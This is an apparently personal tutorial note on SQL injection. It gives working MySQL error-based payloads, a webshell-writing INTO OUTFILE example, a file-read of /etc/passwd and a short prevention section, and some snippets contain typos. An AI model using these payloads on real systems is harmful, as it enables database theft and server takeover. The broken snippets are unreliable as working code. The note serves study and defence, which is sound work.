Note for SQLi

SQL Injection is a kind of vulnerability that allows attackers to insert some codes into original SQL statements to trigger some evil function, such as dumping the database or writing webshell. In this note, I will share some ideas about SQL injection.

Types

• Error-based injection
• Union-based injection
• Stacked injection
• Blind injection
  • Boolean-based injection
  • Time-based injection

Examples

Error-based Injection

(1) floor(rand(0)*2)

SELECT COUNT(*),concat(0x3a,0x3a,database()),0x3a,0x3a,floor(rand(0)*2)name FROM information_schema.tables;

Principle: The result of floor(rand(0)*2) is not random. When a statement is executed, floor(rand(0)*2)will be executed two times, one of which during judgment whether the related result should be put into the virtual result table, while another one happens when the result of flood(rand(0)*2)is being put into the virtual result table. (1. Should or not; 2. What should be put in)

(2) updatexml()

SELECT * FROM users WHERE id=1 AND updatexml(null,concat(0x3a,(SELECT user())),null);

Principle: The second parameter of updatexml() asks for XPath expression. updatexml(xml_target, xpath_expr, new_xml)

(3) extractvaule()

SELECT * FROM users WHERE id = 1 AND (extractvalue(1, concat(0x5c,(selectuser()))))l

(4) Overflow exp()

SELECT * FROM users WHERE id =1 and EXP(~(SELECT * from(SELECT user())a));

(5) Overflow bigint()

# Big int: 1-~0 -> overflow
SELECT !(SELECT * FROM(SELECT user())x); # The result is `1`. `1-~0` will result in overflow.
SELECT 'a' FROM users where id=0 UNION SELECT !(SELECT * FROM(SELECT user())x)-~0;

(6) Replication

SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1))x;
# It seems does not work.

(7) Misc

GeometryCollection()
polygon()
multipoint()
multilinestring()
linestring()
multipolygon()

How To Utilize It

1. Dumping the database. (password of administrators);
2. Writing file. (write PHP webshell into the web server directory – SELECT 'zhz' INTO OUTFILE('/var/www/html/backdoor.php'));
3. Read file. (read sensitive files such as configuration files – SELECT LOADFILE('/etc/passwd')).
4. Second-order SQL injection. 

Prevention

1. Filter keywors and symbols, sanitize the input. (Keywords such as UNION,SELECT,FROM,OR,AND, or Using GPC)
2. Parameterized queries. (Pre-compile the SQL statement) 
3. Defend in depth. (Check the content of information flow between components on servers)

Interesting Payloads Collection

mysql> describe extended (select 1 and updatexml(1,concat(0x7e,(select user()),0x7e),1));
$ ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'

mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
# Only works on MySQL 8.0